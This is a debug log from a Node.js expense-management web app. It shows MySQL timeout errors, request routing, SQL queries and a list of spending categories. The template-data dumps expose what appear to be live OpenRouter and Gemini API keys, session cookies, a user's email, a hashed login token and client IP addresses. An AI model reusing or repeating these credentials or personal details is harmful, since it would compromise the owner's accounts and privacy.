  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-06 09:47:20' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-06 11:01:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-06 11:01:20' as DATETIME)"
}
2026-05-06T12:10:36.266Z server-connect:router Serving templateView /
2026-05-06T12:10:36.268Z server-connect:app Executing action step identify
2026-05-06T12:10:36.268Z server-connect:app options: { provider: 'security' }
2026-05-06T12:10:36.317Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-05-06T12:10:36.320Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-05-06T12:10:36.364Z server-connect:output identity: 1
2026-05-06T12:10:36.364Z server-connect:app Executing action step restrict
2026-05-06T12:10:36.364Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-06T12:10:36.365Z server-connect:output restrict: undefined
2026-05-06T12:10:36.365Z server-connect:app Executing action step restrict
2026-05-06T12:10:36.365Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-06T12:10:36.366Z server-connect:output restrict: undefined
2026-05-06T12:10:36.366Z server-connect:router Render template layouts/main
2026-05-06T12:10:36.366Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AemJaxIJ%2BN%2FTvixkmSBfeHg%3D%3D.fcOY3%2F%2BXo%2BW4ybtBVRUpEqcU9HZzSW73ydJMPUpF5EMkRNqpU9Py50xjMH%2FGtLKO4B0eYQKsl%2Fbd3CEe%2B%2FysMFmZPNAREeLzbDehyuNfWj7SyBbSFdCYiVtv9je6I%2FPeeeljXT9sJbBbIf7pyjVAsZ6V60OrzFXxagu8Eb9SgaU%3D.zHkL1LtzSoigvB7HUIXB6vXpx%2B73fZpeZvWcjqoyND0',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-07T12:10:36.266Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AemJaxIJ%2BN%2FTvixkmSBfeHg%3D%3D.fcOY3%2F%2BXo%2BW4ybtBVRUpEqcU9HZzSW73ydJMPUpF5EMkRNqpU9Py50xjMH%2FGtLKO4B0eYQKsl%2Fbd3CEe%2B%2FysMFmZPNAREeLzbDehyuNfWj7SyBbSFdCYiVtv9je6I%2FPeeeljXT9sJbBbIf7pyjVAsZ6V60OrzFXxagu8Eb9SgaU%3D.zHkL1LtzSoigvB7HUIXB6vXpx%2B73fZpeZvWcjqoyND0',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-05-06T12:10:39.094Z server-connect:router Serving serverConnect /api/masters/get-items
2026-05-06T12:10:39.095Z server-connect:app Executing action step identify
2026-05-06T12:10:39.095Z server-connect:app options: { provider: 'security' }
2026-05-06T12:10:39.095Z server-connect:output identity: 1
2026-05-06T12:10:39.095Z server-connect:app Executing action step restrict
2026-05-06T12:10:39.095Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-06T12:10:39.096Z server-connect:output restrict: undefined
2026-05-06T12:10:39.096Z server-connect:app Executing action step select
2026-05-06T12:10:39.096Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-05-06T12:10:39.102Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 535 more items
]
2026-05-06T12:10:39.104Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-05-06T12:10:39.104Z server-connect:app Executing action step identify
2026-05-06T12:10:39.104Z server-connect:app options: { provider: 'security' }
2026-05-06T12:10:39.104Z server-connect:output identity: 1
2026-05-06T12:10:39.104Z server-connect:app Executing action step restrict
2026-05-06T12:10:39.104Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-06T12:10:39.105Z server-connect:output restrict: undefined
2026-05-06T12:10:39.105Z server-connect:app Executing action step single
2026-05-06T12:10:39.105Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-05-06T12:10:39.106Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-06 12:15:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-06 12:15:20' as DATETIME)"
}
2026-05-06T12:16:41.507Z server-connect:router Serving templateView /
2026-05-06T12:16:41.508Z server-connect:app Executing action step identify
2026-05-06T12:16:41.508Z server-connect:app options: { provider: 'security' }
2026-05-06T12:16:41.508Z server-connect:auth No login cookie found
2026-05-06T12:16:41.508Z server-connect:output identity: false
2026-05-06T12:16:41.508Z server-connect:app Executing action step restrict
2026-05-06T12:16:41.508Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-06T12:16:41.509Z server-connect:output restrict: undefined
2026-05-06T12:16:44.239Z server-connect:router Serving templateView /login
2026-05-06T12:16:44.240Z server-connect:app Executing action step identify
2026-05-06T12:16:44.240Z server-connect:app options: { provider: 'security' }
2026-05-06T12:16:44.241Z server-connect:auth No login cookie found
2026-05-06T12:16:44.241Z server-connect:output identity: false
2026-05-06T12:16:44.241Z server-connect:router Render template layouts/authentication
2026-05-06T12:16:44.241Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'sec-ch-ua': '"Google Chrome";v="142", "Not-A.Brand";v="8", "Chromium";v="142"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'sec-gpc': '1',
    'accept-language': 'en-US,en;q=0.5',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '45.55.155.209',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-07T12:16:44.239Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '45.55.155.209',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="142", "Not-A.Brand";v="8", "Chromium";v="142"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    HTTP_SEC_GPC: '1',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '45.55.155.209',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-06 12:46:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-06 12:46:20' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-06 14:28:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-06 14:28:20' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-06 15:03:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
